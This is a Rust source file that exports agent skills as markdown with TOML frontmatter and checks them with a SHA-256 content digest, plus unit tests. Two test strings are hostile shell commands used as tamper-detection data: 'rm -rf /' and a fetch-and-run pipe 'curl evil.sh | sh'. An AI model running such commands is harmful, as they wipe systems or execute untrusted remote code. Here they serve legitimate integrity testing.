car-memgine 0.48.0

Memgine — graph-based memory engine for Common Agent Runtime
//! Portable skill export/import — the SkillOpt `best_skill.md` analog.
//!
//! A validated skill is rendered to a self-contained, human-readable markdown
//! file so proven skills can be shared across CAR instances (and reviewed in a
//! PR). The format is **TOML frontmatter as the machine source-of-truth**
//! (fenced by `+++`), followed by a human-rendered body. Import parses ONLY the
//! frontmatter — the body is decorative — which keeps the round-trip exact and
//! avoids fragile markdown-section parsing.
//!
//! Integrity is a SHA-256 **content digest** (via `car_bundle::sha256_hex`) over
//! the semantic fields (name, description, when_to_apply, scope, platform,
//! code) — NOT the instance-specific stats/version — so the same skill content
//! has a stable digest regardless of where it was exported from. Full ed25519
//! publisher signing (a trust model on top of this) is deferred to the
//! contributed-agent bundle flow.

use crate::distill::DistilledSkill;
use crate::graph::{SkillMeta, SkillScope, SkillTrigger};
use serde::{Deserialize, Serialize};

/// Current export format identifier (embedded in the frontmatter).
pub const SKILL_EXPORT_FORMAT: &str = "car-skill/v1";

const FENCE: &str = "+++";

/// Machine-readable frontmatter of an exported skill. This is the source of
/// truth on import; the markdown body is a human rendering derived from it.
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
pub struct SkillExportDoc {
    /// Format tag, e.g. `car-skill/v1`.
    pub format: String,
    pub name: String,
    pub version: u64,
    pub platform: String,
    /// Domain name, or empty string for a global skill.
    #[serde(default)]
    pub domain: String,
    pub description: String,
    #[serde(default)]
    pub when_to_apply: String,
    #[serde(default)]
    pub persona: String,
    #[serde(default)]
    pub url_pattern: String,
    #[serde(default)]
    pub task_keywords: Vec<String>,
    #[serde(default)]
    pub success_count: u64,
    #[serde(default)]
    pub fail_count: u64,
    /// SHA-256 content digest (see module docs).
    pub digest: String,
    #[serde(default)]
    pub code: String,
}

impl SkillExportDoc {
    fn scope(&self) -> SkillScope {
        if self.domain.is_empty() {
            SkillScope::Global
        } else {
            SkillScope::Domain(self.domain.clone())
        }
    }

    /// The semantic content digest — covers what the skill *is*, not its local
    /// stats/version, so two instances exporting the same skill agree.
    ///
    /// Fields are **length-prefixed** (`<byte_len>:<bytes>`) rather than
    /// delimiter-joined, giving an injective encoding: the lengths pin every
    /// field boundary, so no two distinct field tuples can hash to the same
    /// input — even if a field contains the delimiter or a NUL byte.
    fn compute_digest(&self) -> String {
        let mut canonical = Vec::new();
        for field in [
            &self.name,
            &self.description,
            &self.when_to_apply,
            &self.domain,
            &self.platform,
            &self.code,
        ] {
            canonical.extend_from_slice(format!("{}:", field.len()).as_bytes());
            canonical.extend_from_slice(field.as_bytes());
        }
        car_bundle::sha256_hex(&canonical)
    }

    /// Convert to a `DistilledSkill` for ingestion.
    pub fn to_distilled(&self) -> DistilledSkill {
        DistilledSkill {
            name: self.name.clone(),
            description: self.description.clone(),
            when_to_apply: self.when_to_apply.clone(),
            scope: self.scope(),
            source: "imported".to_string(),
            domain: self.domain.clone(),
            trigger: SkillTrigger {
                persona: self.persona.clone(),
                url_pattern: self.url_pattern.clone(),
                task_keywords: self.task_keywords.clone(),
                structured: None,
            },
            code: self.code.clone(),
        }
    }
}

/// Build the frontmatter doc from a stored skill, stamping a fresh digest.
fn doc_from_meta(meta: &SkillMeta) -> SkillExportDoc {
    let domain = match &meta.scope {
        SkillScope::Global => String::new(),
        SkillScope::Domain(d) => d.clone(),
    };
    let mut doc = SkillExportDoc {
        format: SKILL_EXPORT_FORMAT.to_string(),
        name: meta.name.clone(),
        version: meta.version,
        platform: meta.platform.clone(),
        domain,
        description: meta.description.clone(),
        when_to_apply: meta.when_to_apply.clone(),
        persona: meta.trigger.persona.clone(),
        url_pattern: meta.trigger.url_pattern.clone(),
        task_keywords: meta.trigger.task_keywords.clone(),
        success_count: meta.stats.success_count,
        fail_count: meta.stats.fail_count,
        digest: String::new(),
        code: meta.code.clone(),
    };
    doc.digest = doc.compute_digest();
    doc
}

/// Render a stored skill as a portable markdown document.
pub fn render_skill_markdown(meta: &SkillMeta) -> Result<String, String> {
    let doc = doc_from_meta(meta);
    let frontmatter =
        toml::to_string(&doc).map_err(|e| format!("serialize skill frontmatter: {e}"))?;

    let scope_label = if doc.domain.is_empty() {
        "global".to_string()
    } else {
        format!("domain: {}", doc.domain)
    };
    let procedure = if doc.code.trim().is_empty() {
        String::new()
    } else {
        format!(
            "\n## Procedure (`{}`)\n\n```\n{}\n```\n",
            doc.platform, doc.code
        )
    };

    let rendered = format!(
        "{FENCE}\n{frontmatter}{FENCE}\n\n# {name}\n\n{description}\n\n\
         **When to apply:** {when}\n\n_Scope: {scope}. Version {ver}. \
         Observed: {ok} ok / {fail} fail._\n{procedure}\n\
         <!-- Exported from CAR memgine ({fmt}). Machine-readable fields live in \
         the +++ frontmatter; the body is a human rendering. Re-import with \
         `skill.import`. -->\n",
        name = doc.name,
        description = doc.description,
        when = doc.when_to_apply,
        scope = scope_label,
        ver = doc.version,
        ok = doc.success_count,
        fail = doc.fail_count,
        fmt = doc.format,
    );

    // Round-trip self-check: guarantee the rendered document parses back to the
    // EXACT same doc (full-struct equality, so it covers every field, not just
    // `code`). This fails closed if any field would corrupt the format — e.g. a
    // line that is exactly `+++` in `code`, `description`, or `when_to_apply`,
    // which the line-based parser would read as the closing fence. Better to
    // error on export than to emit a document that silently mis-imports.
    match parse_skill_markdown(&rendered) {
        Ok(parsed) if parsed == doc => Ok(rendered),
        Ok(_) => Err("skill content is not safely round-trippable in this format".to_string()),
        Err(e) => Err(format!("skill content is not safely round-trippable: {e}")),
    }
}

/// Parse a portable markdown document back into its frontmatter doc, verifying
/// the format tag and the content digest. The body is ignored.
pub fn parse_skill_markdown(md: &str) -> Result<SkillExportDoc, String> {
    // Line-based fence detection: both the opening and closing fence are a line
    // that trims to exactly `+++`. Scanning for the substring `\n+++` instead
    // would false-match content lines like a diff marker (`+++ b/file`) inside
    // `code`, truncating the frontmatter.
    let mut lines = md.trim_start_matches(['\n', '\r', ' ']).lines();
    match lines.next() {
        Some(l) if l.trim() == FENCE => {}
        _ => return Err("missing opening +++ frontmatter fence".to_string()),
    }
    let mut frontmatter = String::new();
    let mut closed = false;
    for line in lines {
        if line.trim() == FENCE {
            closed = true;
            break;
        }
        frontmatter.push_str(line);
        frontmatter.push('\n');
    }
    if !closed {
        return Err("missing closing +++ frontmatter fence".to_string());
    }

    let doc: SkillExportDoc =
        toml::from_str(&frontmatter).map_err(|e| format!("parse skill frontmatter: {e}"))?;

    if doc.format != SKILL_EXPORT_FORMAT {
        return Err(format!(
            "unsupported skill export format `{}` (expected `{}`)",
            doc.format, SKILL_EXPORT_FORMAT
        ));
    }
    let expected = doc.compute_digest();
    if !doc.digest.eq_ignore_ascii_case(&expected) {
        return Err(format!(
            "skill content digest mismatch: frontmatter `{}`, recomputed `{}` \
             (the skill content was altered without updating the digest)",
            doc.digest, expected
        ));
    }
    Ok(doc)
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::graph::{SkillStats, SkillStatus};

    fn sample_meta() -> SkillMeta {
        SkillMeta {
            name: "deploy".into(),
            code: "kubectl apply -f manifests/\n# rollback on failure".into(),
            platform: "shell".into(),
            description: "Deploy the build with a rollback guard.".into(),
            trigger: SkillTrigger {
                task_keywords: vec!["deploy".into(), "release".into()],
                ..Default::default()
            },
            scope: SkillScope::Domain("release".into()),
            when_to_apply: "on a tagged release".into(),
            stats: SkillStats {
                success_count: 10,
                fail_count: 2,
                ..Default::default()
            },
            version: 2,
            tenant_id: None,
            status: SkillStatus::Active,
            incumbent: None,
            deployment_tier: None,
        }
    }

    #[test]
    fn round_trips_through_markdown() {
        let meta = sample_meta();
        let md = render_skill_markdown(&meta).unwrap();
        // Human body is present.
        assert!(md.contains("# deploy"));
        assert!(md.contains("**When to apply:** on a tagged release"));
        assert!(md.contains("## Procedure (`shell`)"));

        let doc = parse_skill_markdown(&md).unwrap();
        assert_eq!(doc.name, "deploy");
        assert_eq!(doc.version, 2);
        assert_eq!(doc.domain, "release");
        assert_eq!(doc.task_keywords, vec!["deploy", "release"]);

        // Reconstructs a DistilledSkill with the same semantic content.
        let distilled = doc.to_distilled();
        assert_eq!(distilled.name, meta.name);
        assert_eq!(distilled.code, meta.code);
        assert_eq!(distilled.scope, meta.scope);
        assert_eq!(distilled.trigger.task_keywords, meta.trigger.task_keywords);
    }

    #[test]
    fn digest_is_content_addressed_not_instance_specific() {
        let mut a = sample_meta();
        let mut b = sample_meta();
        // Different local stats/version → SAME content digest.
        b.stats.success_count = 999;
        b.version = 7;
        let da = parse_skill_markdown(&render_skill_markdown(&a).unwrap()).unwrap();
        let db = parse_skill_markdown(&render_skill_markdown(&b).unwrap()).unwrap();
        assert_eq!(da.digest, db.digest);
        // Different content → different digest.
        a.code = "rm -rf /".into();
        let dc = parse_skill_markdown(&render_skill_markdown(&a).unwrap()).unwrap();
        assert_ne!(da.digest, dc.digest);
    }

    #[test]
    fn rejects_edited_content_without_resigned_digest() {
        // Integrity (not authenticity): editing the content without recomputing
        // the digest is detected. An adversary could recompute it — this guards
        // against accidental/casual edits, as the module docs state.
        let md = render_skill_markdown(&sample_meta()).unwrap();
        let edited = md.replace("kubectl apply", "curl evil.sh | sh");
        let err = parse_skill_markdown(&edited).unwrap_err();
        assert!(err.contains("digest mismatch"), "got: {err}");
    }

    #[test]
    fn code_with_diff_markers_round_trips() {
        // `code` containing diff-marker lines (`+++ b/...`) must NOT be mistaken
        // for the closing fence — line-based detection requires an exact `+++`.
        let mut meta = sample_meta();
        meta.code =
            "--- a/app.yaml\n+++ b/app.yaml\n@@ -1 +1 @@\n-replicas: 1\n+replicas: 3".into();
        let md = render_skill_markdown(&meta).unwrap();
        let doc = parse_skill_markdown(&md).unwrap();
        assert_eq!(doc.code, meta.code);
    }

    #[test]
    fn export_fails_closed_on_unrenderable_code() {
        // A line that is exactly `+++` inside code collides with the fence; the
        // render-time self-check must error rather than emit a corrupt doc.
        let mut meta = sample_meta();
        meta.code = "before\n+++\nafter".into();
        let err = render_skill_markdown(&meta).unwrap_err();
        assert!(err.contains("not safely round-trippable"), "got: {err}");
    }

    #[test]
    fn rejects_unknown_format() {
        let md = render_skill_markdown(&sample_meta())
            .unwrap()
            .replace("car-skill/v1", "car-skill/v999");
        let err = parse_skill_markdown(&md).unwrap_err();
        assert!(
            err.contains("unsupported skill export format"),
            "got: {err}"
        );
    }
}